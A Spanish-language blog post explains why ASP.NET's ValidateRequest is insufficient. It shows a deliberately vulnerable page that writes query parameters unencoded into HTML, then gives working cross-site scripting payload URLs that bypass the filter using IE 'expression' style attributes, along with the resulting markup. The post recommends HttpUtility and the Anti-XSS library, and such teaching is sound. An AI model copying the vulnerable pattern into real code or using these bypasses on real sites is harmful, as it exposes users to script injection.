En una entrada anterior ya había advertido que la validación que ofrece la propiedad ValidateRequest es muy básica como para sólo confiar en ésta. Para probar esta afirmación tomaremos como ejemplo el siguiente código que seguramente muchos escribimos alguna vez y que otros todavía lo siguen haciendo 🙁
html:
<%@ Page Language="C#" AutoEventWireup="true" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
<title>Untitled Page</title>
</head>
<body>
<form id="form1" runat="server">
<div>
<%= Request.Params["Mensaje"] %>
<a href="<%= Request.Params["Uri"] %>">¡Hola!</a>
</div>
</form>
</body>
</html>
Conseguir ejecutar javascript usando el parámetro Mensaje
, es un poco fastidioso, porque hay que evitar usar las cadenas <[a-z!]
para evitar una excepción del tipo HttpRequestValidationException, por ejemplo para http://aspspider.org/buayacorp/xss.aspx?Mensaje=<script> se produce el siguiente error:
A potentially dangerous Request.QueryString value was detected from the client (Mensaje="<script>").
Description: Request Validation has detected a potentially dangerous client input value, and processing of the request has been aborted. This value may indicate an attempt to compromise the security of your application, such as a cross-site scripting attack. You can disable request validation by setting validateRequest=false in the Page directive or in the configuration section. However, it is strongly recommended that your application explicitly check all inputs in this case.
Exception Details: System.Web.HttpRequestValidationException: A potentially dangerous Request.QueryString value was detected from the client (Mensaje="<script>").
Revisando uno de los hilos de los foros de sla.ckers.org, uno de los miembros comentó que -para variar- Internet Explorer interpreta los atributos que se ponen en el cierre de algunas etiquetas HTML (</a style=xss:expression(alert(/XSS/))>
). Aprovechando este vector de ataque, entonces un ejemplo válido para conseguir ejecutar javascript es http://aspspider.org/buayacorp/xss.aspx?Mensaje=</a style=xss:expression(alert(/XSS/))>.
En el segundo caso que involucra al parámetro Uri
es más sencillo, puesto que no se necesita de ningún caracter <
para poder ejecutar javascript, para la siguiente dirección http://aspspider.org/buayacorp/xss.aspx?Uri=" style=xss:expression(alert(/XSS/)) " se genera:
html:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head><title>
Untitled Page
</title></head>
<body>
<form name="form1" method="post" action="xss.aspx?Uri=%22+style%3dxss%3aexpression(alert(%2fXSS%2f))+%22" id="form1">
<div>
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwULLTEzNDEyMDg2NjZkZCXpsuyzajePI7u8zKPoDxOfXJHy" />
</div>
<div>
<a href="" style=xss:expression(alert(/XSS/)) "">Click</a>
</div>
</form>
</body>
</html>
Si entre la audiencia todavía existen desarrolladores que confían en la validación por omisión que trae ASP.NET, es hora de empezar a utilizar los métodos que trae la clase HttpUtility o mejor aún el denominado Microsoft Anti-Cross Site Scripting Library 😉